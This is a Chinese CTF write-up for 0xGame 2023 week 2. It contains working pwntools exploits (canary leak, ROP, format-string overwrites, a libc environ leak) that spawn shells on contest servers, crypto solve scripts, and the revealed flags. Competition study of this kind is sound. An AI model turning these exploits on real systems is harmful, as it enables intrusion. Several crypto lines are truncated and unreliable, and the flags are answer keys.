• [0xGame 2023 week2] pwn/crypto/reverse


    PWN

    ezshop

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3. int v3; // [rsp+Ch] [rbp-4h] BYREF
    4. bufinit(argc, argv, envp);
    5. puts(&byte_2100);
    6. while ( 1 )
    7. {
    8. puts(a1_0);
    9. puts(a2_0);
    10. puts(a3);
    11. printf(">> ");
    12. __isoc99_scanf(&unk_2099, &v3);
    13. if ( v3 == 3 )
    14. exit(0);
    15. if ( v3 > 3 )
    16. {
    17. LABEL_10:
    18. puts(&byte_2147);
    19. puts(&byte_209C);
    20. }
    21. else if ( v3 == 1 )
    22. {
    23. shop();
    24. }
    25. else
    26. {
    27. if ( v3 != 2 )
    28. goto LABEL_10;
    29. haokangde();
    30. }
    31. }
    32. }
    33. int shop()
    34. {
    35. _DWORD *v0; // rax
    36. int v2; // [rsp+8h] [rbp-8h] BYREF
    37. int v3; // [rsp+Ch] [rbp-4h] BYREF
    38. printf(&format, (unsigned int)money);
    39. puts(&byte_2030);
    40. puts(a1);
    41. puts(a2);
    42. puts(a3Flag);
    43. puts(&byte_2089);
    44. __isoc99_scanf(&unk_2099, &v3);
    45. if ( v3 > 0 && v3 <= 3 )
    46. {
    47. puts(&byte_20B5);
    48. __isoc99_scanf(&unk_2099, &v2);
    49. if ( v2 <= 10 )
    50. {
    51. if ( money - price_arr[v3 - 1] * v2 >= 0 )
    52. {
    53. money -= price_arr[v3 - 1] * v2;
    54. v0 = shopping_cart;
    55. ++shopping_cart[v3 - 1];
    56. }
    57. else
    58. {
    59. LODWORD(v0) = puts(&byte_20C2);
    60. }
    61. }
    62. else
    63. {
    64. LODWORD(v0) = puts(&byte_209C);
    65. }
    66. }
    67. else
    68. {
    69. LODWORD(v0) = puts(&byte_209C);
    70. }
    71. return (int)v0;
    72. }

    在shop这个函数数量没限制负值,导致可以输入负数量达到增加钱的目的

    1. ┌──(kali㉿kali)-[~/ctf/1008]
    2. └─$ nc 8.130.35.16 55002
    3. 欢迎来到0xGame补给站!
    4. 1. 购买
    5. 2. 看好康的
    6. 3. 退出
    7. >> 1
    8. 钱包里有 1000 元
    9. 商品列表:
    10. 1. 快乐水 ¥4/瓶
    11. 2. 大大酥 ¥50/大包
    12. 3. flag ¥10000000/个
    13. 想买点啥?
    14. 2
    15. 要几个?
    16. -333333
    17. 1. 购买
    18. 2. 看好康的
    19. 3. 退出
    20. >> 1
    21. 钱包里有 16667650 元
    22. 商品列表:
    23. 1. 快乐水 ¥4/瓶
    24. 2. 大大酥 ¥50/大包
    25. 3. flag ¥10000000/个
    26. 想买点啥?
    27. 3
    28. 要几个?
    29. 1
    30. 1. 购买
    31. 2. 看好康的
    32. 3. 退出
    33. >> 2
    34. 你过来哦......
    35. 0xGame{f78ad928-29c4-4268-bd80-4fa970456c92}

    calc

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. int v4; // [rsp+8h] [rbp-18h] BYREF
    4. int i; // [rsp+Ch] [rbp-14h]
    5. unsigned int v6; // [rsp+10h] [rbp-10h]
    6. unsigned int v7; // [rsp+14h] [rbp-Ch]
    7. unsigned __int64 v8; // [rsp+18h] [rbp-8h]
    8. v8 = __readfsqword(0x28u);
    9. bufinit(argc, argv, envp);
    10. init_seed();
    11. puts("Welcome to the calc game!");
    12. for ( i = 0; i <= 99; ++i )
    13. {
    14. v6 = rand();
    15. v7 = rand();
    16. printf("====Round %d====\n", (unsigned int)(i + 1));
    17. printf("%d+%d=", v6, v7);
    18. __isoc99_scanf("%d", &v4);
    19. if ( v7 + v6 != v4 )
    20. {
    21. puts("Wrong!");
    22. exit(0);
    23. }
    24. puts("Correct!");
    25. }
    26. puts("Congratulations! Here's your shell!");
    27. system("/bin/sh");
    28. return 0;
    29. }

    一个加法的计算题,就是个编程处理,那边还用上导数呢。这个小意思了

    1. from pwn import *
    2. p = remote('8.130.35.16', 55001)
    3. context.log_level = 'debug'
    4. p.recvline()
    5. for i in range(100):
    6. p.recvline()
    7. v = p.recvuntil(b'=', drop=True).split(b'+')
    8. v = [int(i) for i in v]
    9. p.sendline(str(sum(v)).encode())
    10. p.recvline()
    11. p.sendline(b'cat flag')
    12. p.interactive()

     

    ezcanary

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char v4; // [rsp+Fh] [rbp-21h]
    4. char buf[24]; // [rsp+10h] [rbp-20h] BYREF
    5. unsigned __int64 v6; // [rsp+28h] [rbp-8h]
    6. v6 = __readfsqword(0x28u);
    7. bufinit();
    8. puts("Ur name plz?");
    9. read(0, buf, 0x100uLL);
    10. printf("Hello, %s. Is that right?", buf);
    11. v4 = getchar();
    12. if ( v4 == 121 || v4 == 89 )
    13. {
    14. puts("Then new name plz.");
    15. read(0, buf, 0x100uLL);
    16. printf("Hello, %s.", buf);
    17. }
    18. puts("Wish you a wonderful day. Bye.");
    19. return 0;
    20. }

    有溢出,但作了canary防护,不过在循环里可以通过溢出将canary带出,然后再溢出ROP

    1. from pwn import *
    2. p = remote('8.130.35.16', 55000)
    3. context(arch='amd64',log_level = 'debug')
    4. p.sendafter(b"Ur name plz?\n", b'A'*25)
    5. p.recvuntil(b'A'*25)
    6. canary = b'\x00' + p.recv(7)
    7. p.send(b'Y')
    8. p.sendafter(b"Then new name plz.\n" ,b'A'*24 + flat(canary, 0, 0x401253, 0x401216))
    9. p.sendline(b'cat flag')
    10. p.interactive()
    11. #0xGame{e2f82359-ac00-42a9-827e-213467ae840b}

     

    fmt1

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char buf[256]; // [rsp+0h] [rbp-110h] BYREF
    4. int v5; // [rsp+100h] [rbp-10h] BYREF
    5. int v6; // [rsp+104h] [rbp-Ch]
    6. int *v7; // [rsp+108h] [rbp-8h]
    7. bufinit(argc, argv, envp);
    8. v7 = &v5;
    9. v6 = 8227;
    10. v5 = 8447;
    11. printf("Input your content: ");
    12. read(0, buf, 0x100uLL);
    13. printf(buf);
    14. if ( v6 == v5 )
    15. {
    16. puts("Congratulations! Now here is your shell!");
    17. puts("And welcome to format string world!");
    18. system("/bin/sh");
    19. }
    20. return 0;
    21. }

    通过格式化字符串修改v5,在栈里已经放了*v7指向他,只需要计算偏移

    1. from pwn import *
    2. p = remote('8.130.35.16', 52000)
    3. context(arch='amd64',log_level = 'debug')
    4. p.sendafter(b"Input your content: ", b"%40$ln")
    5. p.sendline(b'cat flag')
    6. p.interactive()

     

    fmt2

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3. char buf[256]; // [rsp+0h] [rbp-100h] BYREF
    4. bufinit(argc, argv, envp);
    5. while ( 1 )
    6. {
    7. do
    8. {
    9. printf("Input your content: ");
    10. read(0, buf, 0x100uLL);
    11. printf(buf);
    12. }
    13. while ( a != -559038737 );
    14. system("/bin/sh");
    15. }
    16. }

    小升级版,没有指针了,需要自己泄露加载地址

    1. from pwn import *
    2. p = remote('8.130.35.16', 52001)
    3. context(arch='amd64',log_level = 'debug')
    4. #p.sendafter(b"Input your content: ", b"%p,"*0x30)
    5. p.sendafter(b"Input your content: ", b"%43$p\n\x00")
    6. addr = int(p.recvline(), 16) - 0x120e
    7. a_addr = addr + 0x4048
    8. for i,v in enumerate(p32(0xDEADBEEF)):
    9. p.sendafter(b"Input your content: ", f"%{v}c%8$hhn".ljust(16).encode()+p64(a_addr + i))
    10. p.sendline(b'cat flag')
    11. p.interactive()
    12. #0xGame{Not_v3ru_h4Rd_tho_91610enxg}

    leak_env

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. void *buf[2]; // [rsp+0h] [rbp-10h] BYREF
    4. buf[1] = (void *)__readfsqword(0x28u);
    5. bufinit(argc, argv, envp);
    6. printf("Here's your gift: %p\n", &printf);
    7. puts("You have a chance to arbitrary read 8 bytes.");
    8. printf("Where do you want to read?");
    9. __isoc99_scanf("%p", buf);
    10. printf("Here you are: ");
    11. write(1, buf[0], 8uLL);
    12. putchar(10);
    13. puts("Now show me your magic.");
    14. printf("Where do you want to place it?");
    15. __isoc99_scanf("%p", buf);
    16. puts("Now place it.");
    17. read(0, buf[0], 0x30uLL);
    18. printf("Good luck!");
    19. return 0;
    20. }

    给了libc地址,并可以写一个指针泄露。这里根据名字需要写_environ的地址,然后把栈地址泄露出来,再在栈里写ROP

    1. from pwn import *
    2. #p = process('./leakenv')
    3. p = remote('8.130.35.16', 52003)
    4. context(arch='amd64',log_level = 'debug')
    5. libc = ELF('./libc.so.6')
    6. p.recvuntil(b"Here's your gift: ")
    7. libc.address = int(p.recvline(), 16) - libc.sym['printf']
    8. p.sendlineafter(b"Where do you want to read?", hex(libc.sym['_environ'])[2:].encode())
    9. p.recvuntil(b"Here you are: ")
    10. stack = u64(p.recv(8)) - 0x100
    11. print(f"{stack = :x}")
    12. #gdb.attach(p, "b*0x5555555553b1\nc")
    13. p.sendlineafter(b"Where do you want to place it?", hex(stack)[2:].encode())
    14. pop_rdi = next(libc.search(asm('pop rdi;ret')))
    15. bin_sh = next(libc.search(b'/bin/sh\x00'))
    16. system = libc.sym['system']
    17. p.send(flat(pop_rdi+1, pop_rdi, bin_sh, system,0,0))
    18. p.sendline(b'cat /flag')
    19. p.interactive()
    20. #0xGame{A11_1n_ur_l1bc_129eh2v89a0}

    CRYPTO

    Fault!Fault!

    1. from Crypto.Util.number import *
    2. import socketserver
    3. import signal
    4. #from secret import flag
    5. import random
    6. import os
    7. import string
    8. from hashlib import sha256
    9. from string import ascii_uppercase
    10. from random import shuffle,choice,randint
    11. import os
    12. flag = b'flag{..................}'
    13. q = getPrime(512)
    14. p = getPrime(512)
    15. e = 65537
    16. n = q*p
    17. phi = (q-1)*(p-1)
    18. d = inverse(e,phi)
    19. def decrypt(c,d,n,index):
    20. """something go wrong"""
    21. d_ = d^(1<<(index))
    22. m_ = pow(c,d_,n)
    23. return str(m_)
    24. MEMU = """
    25. Welc0me_2_0xGame2023!
    26. /----------------------------\\
    27. | options |
    28. | [S]ign |
    29. | [F]ault injection |
    30. | [C]heck answer |
    31. \\---------------------------/
    32. """
    33. class Task(socketserver.BaseRequestHandler):
    34. def proof_of_work(self):
    35. '''验证函数'''
    36. random.seed(os.urandom(8))
    37. proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    38. _hexdigest = sha256(proof.encode()).hexdigest()
    39. self.send(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
    40. x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
    41. if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
    42. return False
    43. return True
    44. def _recvall(self):
    45. BUFF_SIZE = 2048
    46. data = b''
    47. while True:
    48. part = self.request.recv(BUFF_SIZE)
    49. data += part
    50. if len(part) < BUFF_SIZE:
    51. break
    52. return data.strip()
    53. def send(self, msg, newline=True):
    54. try:
    55. if newline:
    56. msg += b'\n'
    57. self.request.sendall(msg)
    58. except:
    59. pass
    60. def recv(self, prompt=b'> '):
    61. self.send(prompt, newline=False)
    62. return self._recvall()
    63. def timeout_handler(self, signum, frame):
    64. raise TimeoutError
    65. '''以上是交互部分'''
    66. def handle(self):
    67. '''题干'''
    68. signal.signal(signal.SIGALRM, self.timeout_handler)
    69. signal.alarm(300)
    70. self.send(MEMU)
    71. print(d)
    72. '''
    73. if not self.proof_of_work():
    74. self.send(b'[!] Wrong!')
    75. return
    76. '''
    77. self.send(MEMU.encode())
    78. while True:
    79. code = self.recv()
    80. if code == b'S':
    81. self.send(b'What you want to sign?:')
    82. m = bytes_to_long(self.recv())
    83. c = pow(m,e,n)
    84. self.send(f'{n}\n{e}\n{c}'.encode())
    85. elif code == b'F':
    86. self.send(b'Give me the Signatrue:')
    87. Signatrue = int(self.recv())
    88. self.send(b'Where you want to interfere?')
    89. index = int(self.recv())
    90. self.send(b'The decrypt text:')
    91. self.send(decrypt(Signatrue,d,n,index).encode())
    92. elif code == b'C':
    93. self.send(b'Give me the private key:')
    94. ans = int(self.recv())
    95. if ans == d:
    96. self.send(b'Here is your flag:')
    97. self.send(flag)
    98. else:
    99. self.send(b'invaild input')
    100. class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    101. pass
    102. class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    103. pass
    104. if __name__ == "__main__":
    105. HOST, PORT = '0.0.0.0', 10005
    106. server = ForkedServer((HOST, PORT), Task)
    107. server.allow_reuse_address = True
    108. print(HOST, PORT)
    109. server.serve_forever()

    好长的程序,大概意思就是输入一个位置idx,然后把d与(1<

    这里如果d的某一位为1,当异或后变为0,那么这个d就少了1<返回结果相乘就得到原始的明文

    k*pow(c, 1<

    这样就能判断这位是否为1.

    程序有个坑点,有人入坑了。题目交互很慢,而d有1000多位,所以一次交互无法完成。这题启动时生成的n,多次连接只要后台不重启就不会变,所以可以多弄两次,每次记一部分下回接着开始就行了。下边这是我第3次的部分,前边的部分d是前两次得到的结果。

    1. from Crypto.Util.number import *
    2. import string
    3. from hashlib import sha256
    4. from gmpy2 import *
    5. from pwn import *
    6. p = remote('43.139.107.237', 10005)
    7. #p = remote('127.0.0.1', 10005)
    8. #context(log_level = 'debug')
    9. #proof
    10. p.recvuntil(b"[+] sha256(XXXX+")
    11. tail, hashv = p.recvline().decode().strip().split(') == ')
    12. found = iters.bruteforce(lambda x: sha256(x.encode() + tail.encode()).hexdigest() == hashv, string.ascii_letters+string.digits,4, method='fixed')
    13. p.sendlineafter(b'[+] Plz tell me XXXX: ', found.encode())
    14. def enc(v):
    15. p.sendlineafter(b"> ", b'S')
    16. p.sendlineafter(b'> ', v)
    17. n = int(p.recvline())
    18. e = int(p.recvline())
    19. c = int(p.recvline())
    20. return n,e,c
    21. def geti(i):
    22. p.sendlineafter(b"> ", b'F')
    23. p.sendlineafter(b'> ', str(c).encode())
    24. p.sendlineafter(b'> ', str(i).encode())
    25. p.recvline()
    26. k = int(p.recvline())
    27. if k*pow(c, 1<83:
    28. return '1'
    29. else:
    30. return '0'
    31. def getflag(d):
    32. p.sendlineafter(b"> ", b'C')
    33. p.sendlineafter(b'Give me the private key:', str(d).encode())
    34. p.recvline()
    35. print(p.recvline())
    36. #get n
    37. m = b'S' #83
    38. n,e,c = enc(m)
    39. print(n,e,c)
    40. #context(log_level = 'debug')
    41. bd = '1001000110100101101101101101100011000101100111010110100000100010011110101011001001011100101110010110001000100101011000110000010111110010111011111100000100111000011101110000011011100010010100000010101111001001010100101001001000110100100101110110101001100010010110111000001001001100010011010100010000001010000100111010001000001111110101000111010111001110100100111110011011101110101001000000100010100000000110111000100111111011101001101000110010011001111111001110100001110011100110000101000010100010101111010110001110110111011100000000110111011000100011101000110001101100001010110000101111101110001100010111000011111000000011111100010011110101101010101010001111001110000001101010100111011110011001010010001000101001000100101110011001101001000011110111110101001111010110'
    42. for i in range(766,1024):
    43. p.recv(2)
    44. p.sendline(f'F'.encode())
    45. p.recvline()
    46. p.sendline(f'{c}'.encode())
    47. p.recvline()
    48. p.sendline(f'{i}'.encode())
    49. p.recvline()
    50. msg = p.recvline()
    51. #print(msg)
    52. k = int(msg)
    53. if k*pow(c, 1<83:
    54. bd += '1'
    55. else:
    56. bd += '0'
    57. print(i, bd)
    58. d = int(bd[::-1],2)
    59. if pow(c,d,n) == 83:
    60. break
    61. context(log_level = 'debug')
    62. getflag(d)
    63. p.interactive()
    64. #d = 46391228586859782831449481277505110320736729897869073381289618281322254851159203351607621847141055859865397844345913843604164331096514295424191959011105916292972763986344204078691002011231668945627699995863481827982098600842082545104796701112436646698492119854112391970106483932253963555899888335437597353353
    65. #0xGame{F@ult_Milest0ne!!}

    EzLFSR

    1. from Crypto.Util.number import *
    2. from secret import flag,secret
    3. assert flag == b'0xGame{'+secret+b'}'
    4. def make_mask(m):
    5. tmp = str(bin(bytes_to_long(m)))[2:].zfill(128)
    6. return tmp
    7. def string2bits(s):
    8. return [int(b) for b in s]
    9. def bits2string(bs):
    10. s = [str(b) for b in bs]
    11. return ''.join(s)
    12. def lfsr(state, mask):
    13. assert(len(state) == 128)
    14. assert(len(mask) == 128)
    15. output = 0
    16. for i in range(128):
    17. output = output ^ (state[i] & mask[i])
    18. return output
    19. if __name__ == '__main__':
    20. initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
    21. secret = make_mask(secret)
    22. mask = string2bits(secret)
    23. for b in secret: assert(b == '0' or b == '1')
    24. assert(len(secret) == 128)
    25. for i in range(256):
    26. state = initState[i:]
    27. output = lfsr(state, mask)
    28. initState += [output]
    29. outputState = bits2string(initState[128:])
    30. print('outputState =', outputState)
    31. '''
    32. outputState = 1101111111011101100001000011111101001000111000110100010011110111010011100110100100111001101010110110101110000011110101000110010010000011111111001111000110111001100111101110010100100001101001111110001010000100111101011011100010000000100000100000100111010110
    33. '''

    这种东西如果不加特殊限制有固定的解法就没难度了。直接矩阵求左。

    1. initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
    2. outputState = [int(v) for v in '1101111111011101100001000011111101001000111000110100010011110111010011100110100100111001101010110110101110000011110101000110010010000011111111001111000110111001100111101110010100100001101001111110001010000100111101011011100010000000100000100000100111010110']
    3. out = initState + outputState
    4. c = vector(GF(2), outputState)
    5. M = matrix(GF(2), 256,128)
    6. for i in range(256):
    7. for j in range(128):
    8. M[i,j] = out[i+j]
    9. m = M.solve_right(c)
    10. ms = int(''.join(str(v) for v in m),2)
    11. long_to_bytes(ms)
    12. #Rec0ver_the_M@sk
    13. #0xGame{Rec0ver_the_M@sk}

    What's CRT?

    1. from Crypto.Util.number import *
    2. from secert import flag
    3. m = bytes_to_long(flag)
    4. e = 260792700
    5. q,p,q_,p_ = [getPrime(512) for _ in range(4)]
    6. gift = [q+p,q_+p_]
    7. n,n_ = q*p,q_*p_
    8. mq_ = pow(m,4,q_)
    9. mp_ = pow(m,4,p_)
    10. c = pow(m,e,n)
    11. print(f'mygift={gift}\nmq_={mq_}\nmp_={mp_}\nn={n}\nn_={n_}\nc={c}')
    12. mygift=[15925416640901708561793293991573474917595642805739825596593339102414328214313430010166125066639132916608736569443045051644173933089503934675628814467277922, 18342424676996843423829480445042578097182127446865571536445030052846412665700132683433441858073625594933132038175200824257774638419166516796318527302903098]
    13. mq_=6229615098788722664392369146712291169948485951371133086154028832805750551655072946170332335458186479565263371985534601035559229403357396564568667218817197
    14. mp_=7514598449361191486799480225087938913945061715845128006069296876457814528347371315493644046029376830166983645570092100320566196227210502897068206073043718
    15. n=63329068473206068067147844002844348796575899624395867391964805451897110448983910133293450006821779608031734813916287079551030950968978400757306879502402868643716591624454744334316879241573399993026873598478532467624301968439714860262264449471888606538913071413634346381428901358109273203087030763779091664797
    16. n_=84078907800136966150486965612788894868587998005459927216462899940718213455112139441858657865215211843183780436155474431592540465189966648565764225210091190218976417210291521208716206733270743675534820816685370480170120230334766919110311980614082807421812749491464201740954627794429460268010183163151688591417
    17. c=12623780002384219022772693100787925315981488689172490837413686188416255911213044332780064192900824150269364486747430892667624289724721692959334462348218416297309304391635919115701692314532111050955120844126517392040880404049818026059951326039894605004852370344012563287210613795011783419126458214779488303552

    1,题目给了p+q,p_+q_ 这样可以直接爆破出p,q,p_,q_

    2,由于给的e=4所以要分别对因子求解,然后再用crt

    1. from z3 import *
    2. p,q,p_,q_ = Ints('p q p_ q_')
    3. s = Solver()
    4. s.add(p*q == n)
    5. s.add(p+q == mygift[0])
    6. s.check()
    7. s.model()
    8. q = 7687653192574283689842465763299611592007909813801176843577189341409409692975753037402253496632410364594655611337156337669083582400443042348458268161331043
    9. p = 8237763448327424871950828228273863325587732991938648753016149761004918521337676972763871570006722552014080958105888713975090350689060892327170546305946879
    10. s = Solver()
    11. s.add(p_*q_ == n_)
    12. s.add(p_+q_ == mygift[1])
    13. s.check()
    14. s.model()
    15. q_ = 8991690869897246321907509983425307437365288417861457732721314572165773880898701105065818281248373676758405021157703190132511219384704650086565345885727777
    16. p_ = 9350733807099597101921970461617270659816839029004113803723715480680638784801431578367623576825251918174727017017497634125263419034461866709753181417175321
    17. e4 = e//4
    18. c = pow(c, invert(e4, (p-1)*(q-1)), n)
    19. _,yp,yq = gcdext(p,q)
    20. def rabin(c):
    21. mp = pow(c,(p+1)//4,p)
    22. mq = pow(c,(q+1)//4,q)
    23. a = (yp*p*mq + yq*q*mp)%n
    24. # b = n - a
    25. # c = (yp*p*mq - yq*q*mp)%n
    26. # d = n - c
    27. return a
    28. for i in range(2):
    29. c = rabin(c)
    30. print(long_to_bytes(c))

    中间的那个人

    1. from secret import flag
    2. from Crypto.Util.number import *
    3. from Crypto.Cipher import AES
    4. from hashlib import sha256
    5. from random import *
    6. p = getPrime(128)
    7. g = 2
    8. A = getrandbits(32)
    9. B = getrandbits(32)
    10. Alice = pow(g,A,p)
    11. Bob = pow(g,B,p)
    12. key = pow(Alice,B,p)
    13. key = sha256(long_to_bytes(key)).digest()
    14. iv = b"0xGame0xGameGAME"
    15. aes = AES.new(key, AES.MODE_CBC, iv)
    16. enc = aes.encrypt(flag)
    17. print(f'g={g}\np={p}') #we tell
    18. print(f'Bob={Bob}') #Bob tell
    19. print(f'Alice={Alice}') #Alice tell
    20. print(f'enc={enc}')#Here is they secret
    21. g=2
    22. p=250858685680234165065801734515633434653
    23. Bob=33067794433420687511728239091450927373
    24. Alice=235866450680721760403251513646370485539
    25. enc=b's\x04\xbc\x8bT6\x846\xd9\xd6\x83 y\xaah\xde@\xc9\x17\xdc\x04v\x18\xef\xcf\xef\xc5\xfd|\x0e\xca\n\xbd#\x94{\x8e[.\xe8\xe1GU\xfa?\xda\x11w'

    给出了g^A,g^B,让求g^(A*B),由于这里的p很小,可以直接求出A就得到结果了

    1. A = discrete_log(Alice,mod(2,p))
    2. A = 3992780394
    3. #B = discrete_log(Bob,mod(2,p)) #1620639479
    4. key = pow(Bob,A,p)
    5. #key = pow(Alice,B,p)
    6. key = sha256(long_to_bytes(key)).digest()
    7. iv = b"0xGame0xGameGAME"
    8. aes = AES.new(key, AES.MODE_CBC, iv)
    9. flag = aes.decrypt(enc)
    10. #0xGame{51393fe1fd5fc2df1bf018d06f0fa11d}

    EzRSA

    1. from challenges.challenge1 import RSAServe as challenge1
    2. from challenges.challenge2 import RSAServe as challenge2
    3. from challenges.challenge3 import RSAServe as challenge3
    4. from secret import flag
    5. import random
    6. import os
    7. import string
    8. from hashlib import sha256
    9. from string import ascii_uppercase
    10. from random import shuffle,choice,randint
    11. import os
    12. import socketserver
    13. import signal
    14. SCORE = [0, 0, 0]
    15. BANNER = """
    16. ____ ____ _
    17. | _ \/ ___| / \
    18. | |_) \___ \ / _ \
    19. | _ < ___) / ___ \
    20. |_| \_\____/_/ \_\
    21. Here are four challenges(1, 2, 3), solve them all then you can get flag.
    22. """
    23. MEMU = """
    24. /----------------------------\\
    25. | options |
    26. | 1. get public key |
    27. | 2. get cipher text |
    28. | 3. check |
    29. \\---------------------------/
    30. """
    31. class Task(socketserver.BaseRequestHandler):
    32. def proof_of_work(self):
    33. '''验证函数'''
    34. random.seed(os.urandom(8))
    35. proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    36. _hexdigest = sha256(proof.encode()).hexdigest()
    37. self.send(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
    38. x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
    39. if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
    40. return False
    41. return True
    42. def _recvall(self):
    43. BUFF_SIZE = 2048
    44. data = b''
    45. while True:
    46. part = self.request.recv(BUFF_SIZE)
    47. data += part
    48. if len(part) < BUFF_SIZE:
    49. break
    50. return data.strip()
    51. def send(self, msg, newline=True):
    52. try:
    53. if newline:
    54. msg += b'\n'
    55. self.request.sendall(msg)
    56. except:
    57. pass
    58. def recv(self, prompt=b'> '):
    59. self.send(prompt, newline=False)
    60. return self._recvall()
    61. def timeout_handler(self, signum, frame):
    62. raise TimeoutError
    63. def Serve(self, S):
    64. self.send(MEMU.encode())
    65. while True:
    66. option = self.recv()
    67. if option == b'1':
    68. pubkey = S.pubkey()
    69. for s in pubkey:
    70. self.send(str(s).encode())
    71. elif option == b'2':
    72. c = S.encrypt()
    73. self.send(c.encode())
    74. elif option == b'3':
    75. usr_answer = self.recv(b"input your answer: ")
    76. return S.check(usr_answer)
    77. else:
    78. self.send(b"invaild option")
    79. def handle(self):
    80. signal.signal(signal.SIGALRM, self.timeout_handler)
    81. signal.alarm(300)
    82. if not self.proof_of_work():
    83. self.send(b'[!] Wrong!')
    84. return
    85. self.send(BANNER.encode())
    86. while True:
    87. self.send(f'your score {sum(SCORE)}'.encode())
    88. if sum(SCORE) == 3:
    89. self.send(f"here are flag:{flag}".encode())
    90. break
    91. self.send(b'select challange{1,2,3}')#
    92. code = self.recv()
    93. if code == b'1':
    94. S = challenge1()
    95. res = self.Serve(S)
    96. if res == True:
    97. SCORE[0] = 1
    98. self.send(b'Conguration!You are right!')
    99. elif code == b'2':
    100. S = challenge2()
    101. res = self.Serve(S)
    102. if res == True:
    103. SCORE[1] = 1
    104. self.send(b'Conguration!You are right!')
    105. elif code == b'3':
    106. S = challenge3()
    107. res = self.Serve(S)
    108. if res == True:
    109. SCORE[2] = 1
    110. self.send(b'Conguration!You are right!')
    111. else:
    112. self.send(b'invaild input')
    113. class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    114. pass
    115. class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    116. pass
    117. if __name__ == "__main__":
    118. HOST, PORT = '0.0.0.0', 10006
    119. server = ForkedServer((HOST, PORT), Task)
    120. server.allow_reuse_address = True
    121. print(HOST, PORT)
    122. server.serve_forever()
    123. #1-----------------
    124. from Crypto.Util.number import *
    125. from secret import flag1
    126. import random
    127. class RSAServe:
    128. def __init__(self) -> None:
    129. self.e = 65537
    130. self.p = getPrime(1024)
    131. self.q = getPrime(1024)
    132. self.n = self.q*self.p
    133. self.g, self.r1 = [random.randint(1, self.q*self.p) for _ in range(2)]
    134. self.gift = pow(self.g, self.r1 * (self.p - 1), self.n)
    135. self.m = flag1
    136. def encrypt(self):
    137. m_ = bytes_to_long(self.m)
    138. c = pow(m_, self.e, self.p*self.q)
    139. return hex(c)
    140. def check(self, msg):
    141. return msg == self.m
    142. def pubkey(self):
    143. return self.p*self.q, self.e,self.gift
    144. #2-------------------
    145. from Crypto.Util.number import *
    146. from secret import flag2
    147. from random import choice
    148. class RSAServe:
    149. def __init__(self) -> None:
    150. self.e = 65537
    151. self.m = flag2
    152. self.p = self.GetMyPrime(1024)
    153. self.q = self.GetMyPrime(1024)
    154. def GetMyPrime(self,bits):
    155. while True:
    156. n = 2
    157. while n.bit_length() < bits:
    158. a = choice(sieve_base)
    159. n *= a
    160. if isPrime(n + 1):
    161. return n + 1
    162. def encrypt(self):
    163. m_ = bytes_to_long(self.m)
    164. c = pow(m_, self.e, self.p*self.q)
    165. return hex(c)
    166. def check(self, msg):
    167. return msg == self.m
    168. def pubkey(self):
    169. return self.p*self.q, self.e
    170. #3----------------------
    171. from Crypto.Util.number import *
    172. from secret import flag3
    173. from random import choice
    174. from sympy import *
    175. class RSAServe:
    176. def __init__(self) -> None:
    177. self.e = 65537
    178. self.m = flag3
    179. self.p = getPrime(896)
    180. self.n1 = self.getN()
    181. self.n2 = self.getN()
    182. def getN(self):
    183. q = getPrime(128)
    184. self.p = nextprime(self.p)
    185. return q*self.p
    186. def encrypt(self):
    187. m_ = bytes_to_long(self.m)
    188. c = pow(m_, self.e, self.n2)
    189. return hex(c)
    190. def check(self, msg):
    191. return msg == self.m
    192. def pubkey(self):
    193. return self.n1, self.n2 , self.e

    又是一个很长的题,题分3部分

    1,gift = g^(r*(p-1)) mod n 这里可推出 g-1|n 得到分解

    2,p-1光滑,可用pollard方法分解

    3,n由一个共同的p(经过next)很大和一个随机的q组成,所以两个p相差很小,n1/n2约等于q1/q2可以用连分式法求

    由于3步计算时间可能稍长,而数据结果是固定的,可以先取到数据,再上传。

    取数据

    1. from Crypto.Util.number import *
    2. from hashlib import sha256
    3. import string
    4. from pwn import *
    5. io = remote('43.139.107.237', 10006)
    6. context(log_level = 'debug')
    7. #proof
    8. io.recvuntil(b"[+] sha256(XXXX+")
